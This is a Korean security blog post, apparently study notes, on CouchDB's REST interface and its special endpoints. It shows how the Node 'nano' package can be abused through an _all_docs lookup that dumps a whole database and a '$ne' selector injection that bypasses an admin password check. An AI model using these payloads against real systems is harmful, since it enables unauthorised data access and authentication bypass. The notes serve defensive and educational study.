security/web

CouchDBMS

chanchand 2023. 8. 19. 16:21
반응형

- CouchDB

JSON 객체 형태인 도큐먼트 저장

키와 값이 하나의 쌍을 이루는 데이터를 저장

REST API 형식으로 HTTP 메서드를 사용해 요청을 받고 처리함

 

데이터 삽입 : users 데이터베이스 값 추가

curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}'

 

 

데이터 조회 : users 데이터베이스 값 조회

curl http://{username}:{password}@localhost:5984/users/guest

 

 

- CouchDB 특수 구성요소

(서버)

/ : 인스턴스에 대한 메타정보 반환

/_all_dbs : 인스턴스 데이터베이스 목록 반환

/_utils : 관리자 페이지 이동

 

(DB)

/{db} : 지정한 데이터베이스에 대한 정보 반환

/{db}/_all_docs : 지정한 데이터베이스에 포함된 모든 도큐먼트 반환

/{db}/_find : 지정한 데이터베이스에서 JSON 쿼리에 해당하는 모든 도큐먼트 반환

 

특수 구성요소 : https://docs.couchdb.org/en/latest/api/index.html

 

 

- CouchDB 공격기법

- nano 패키지

NodeJS에서 couchDB를 사용할 때 주로 사용

get 함수 : _id 값을 통해 데이터 조회

find 함수 : 쿼리기반으로 데이터 가져옴

 

- get 함수

특수 구성 요소 _all_docs, _db 등에 접근해 데이터베이스 정보 획득 가능

함수는 특성 구성 요소 포함 여부에 대해 검사하지 않음

 

require('nano')('http://{username}:{password}@localhost:5984').use('{db}').get('_all_docs', function(err, res){ console.log(err) })

정상적인 접근은 아래와 같다.

require('nano')('http://{username}:{password}@localhost:5984').use('{db}').get('{data}', function(err, res){ console.log('err') })

 

- find 함수

전달된 쿼리가 NULL인지와 객체 타입이 아닌지를 검사하고 에러를 발생시킴

공격자가 조건 식을 만들고, 조건에 해당하지 않는 데이터를 획득할 수 있음

 

require('nano')('http://{username}:{password}@localhost:5984').use('{db}').find({'selector':{'_id':'admin', 'upw':{'$ne':''}}}, function(err, res){ console.log(err) })

정상적인 접근은 아래와 같다.

require('nano')('http://{username}:{password}@localhost:5984').use('{db}').find({'selector':{'_id':'guest', 'upw':'guest'}}, function(err, res){ console.log(err) })

 

반응형

'security > web' 카테고리의 다른 글

file url schema  (0) 2023.08.20
127.0.0.1 / localhost 우회  (0) 2023.08.20
CSS Injection  (0) 2023.07.15
[SQL Injection] Error&Time based  (0) 2023.01.24
필터링 우회  (0) 2023.01.22